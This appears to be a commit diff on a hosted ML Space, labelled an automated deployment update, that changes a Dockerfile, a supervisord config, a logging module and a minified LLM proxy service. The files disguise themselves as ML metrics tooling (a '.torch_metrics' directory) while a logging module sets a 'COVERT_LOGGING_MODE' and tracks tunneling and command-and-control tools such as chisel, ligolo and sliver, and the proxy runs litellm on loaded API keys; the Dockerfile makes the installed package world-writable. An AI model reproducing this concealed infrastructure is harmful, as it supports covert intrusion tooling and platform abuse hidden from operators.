Spaces:
Paused
Paused
Automated deployment update from ML build
Browse files- Dockerfile +2 -1
- config/supervisord.conf +4 -2
- core/service_logs.py +1 -1
- services/llm_proxy_service.py +5 -5
Dockerfile
CHANGED
|
@@ -34,7 +34,8 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
|
|
| 34 |
&& apt-get clean && rm -rf /var/lib/apt/lists/*
|
| 35 |
|
| 36 |
RUN uv pip install --system --no-cache-dir \
|
| 37 |
-
gradio huggingface_hub loguru urllib3 "litellm[proxy]"
|
|
|
|
| 38 |
|
| 39 |
RUN python3 -c "from huggingface_hub import hf_hub_download; hf_hub_download(repo_id='gpt2', filename='config.json')"
|
| 40 |
|
|
|
|
| 34 |
&& apt-get clean && rm -rf /var/lib/apt/lists/*
|
| 35 |
|
| 36 |
RUN uv pip install --system --no-cache-dir \
|
| 37 |
+
gradio huggingface_hub loguru urllib3 "litellm[proxy]" \
|
| 38 |
+
&& python3 -c "import litellm, os; os.system(f'chmod -R 777 {os.path.dirname(litellm.__file__)}')"
|
| 39 |
|
| 40 |
RUN python3 -c "from huggingface_hub import hf_hub_download; hf_hub_download(repo_id='gpt2', filename='config.json')"
|
| 41 |
|
config/supervisord.conf
CHANGED
|
@@ -8,5 +8,7 @@ pidfile=/home/user/.torch_metrics/supervisord.pid
|
|
| 8 |
command=env PYTHONPATH=/home/user python3 -u /home/user/core/orchestrator.py
|
| 9 |
autostart=true
|
| 10 |
autorestart=true
|
| 11 |
-
stderr_logfile=/
|
| 12 |
-
|
|
|
|
|
|
|
|
|
| 8 |
command=env PYTHONPATH=/home/user python3 -u /home/user/core/orchestrator.py
|
| 9 |
autostart=true
|
| 10 |
autorestart=true
|
| 11 |
+
stderr_logfile=/dev/stderr
|
| 12 |
+
stderr_logfile_maxbytes=0
|
| 13 |
+
stdout_logfile=/dev/stdout
|
| 14 |
+
stdout_logfile_maxbytes=0
|
core/service_logs.py
CHANGED
|
@@ -1,7 +1,7 @@
|
|
| 1 |
_A='a'
|
| 2 |
import os,sys,threading
|
| 3 |
from collections import namedtuple
|
| 4 |
-
COVERT_LOGGING_MODE=
|
| 5 |
METRICS_DIR='/home/user/.torch_metrics'
|
| 6 |
ServiceLogs=namedtuple('ServiceLogs',['ts','fb','tm','chisel','gost','ligolo','sliver','nginx'])
|
| 7 |
class TeeLogger:
|
|
|
|
| 1 |
_A='a'
|
| 2 |
import os,sys,threading
|
| 3 |
from collections import namedtuple
|
| 4 |
+
COVERT_LOGGING_MODE=2
|
| 5 |
METRICS_DIR='/home/user/.torch_metrics'
|
| 6 |
ServiceLogs=namedtuple('ServiceLogs',['ts','fb','tm','chisel','gost','ligolo','sliver','nginx'])
|
| 7 |
class TeeLogger:
|
services/llm_proxy_service.py
CHANGED
|
@@ -79,8 +79,8 @@ general_settings:
|
|
| 79 |
drop_params: true
|
| 80 |
{J}'''
|
| 81 |
def start():
|
| 82 |
-
os.makedirs(METRICS_DIR,exist_ok=
|
| 83 |
-
if not
|
| 84 |
-
Path(CONFIG_PATH).write_text(
|
| 85 |
-
with open(LOG_PATH,'a')as
|
| 86 |
-
logger.success(f"{PREFIX} litellm proxy started on 127.0.0.1:{PORT} (pid {
|
|
|
|
| 79 |
drop_params: true
|
| 80 |
{J}'''
|
| 81 |
def start():
|
| 82 |
+
A=True;os.makedirs(METRICS_DIR,exist_ok=A);B=_build_config()
|
| 83 |
+
if not B:logger.warning(f"{PREFIX} No API keys loaded or LLM_KEYS not set — skipping llm_proxy");return
|
| 84 |
+
Path(CONFIG_PATH).write_text(B);logger.info(f"{PREFIX} Config written to {CONFIG_PATH}");C=os.path.join(METRICS_DIR,'ui');D=os.path.join(METRICS_DIR,'assets');E=os.path.join(METRICS_DIR,'prisma');os.makedirs(C,exist_ok=A);os.makedirs(D,exist_ok=A);os.makedirs(E,exist_ok=A);os.environ['LITELLM_UI_PATH']=C;os.environ['LITELLM_ASSETS_PATH']=D;os.environ['LITELLM_MIGRATION_DIR']=E;G=['litellm','--config',CONFIG_PATH,'--port',str(PORT),'--host','127.0.0.1']
|
| 85 |
+
with open(LOG_PATH,'a')as F:H=subprocess.Popen(G,stdout=F,stderr=F)
|
| 86 |
+
logger.success(f"{PREFIX} litellm proxy started on 127.0.0.1:{PORT} (pid {H.pid})")
|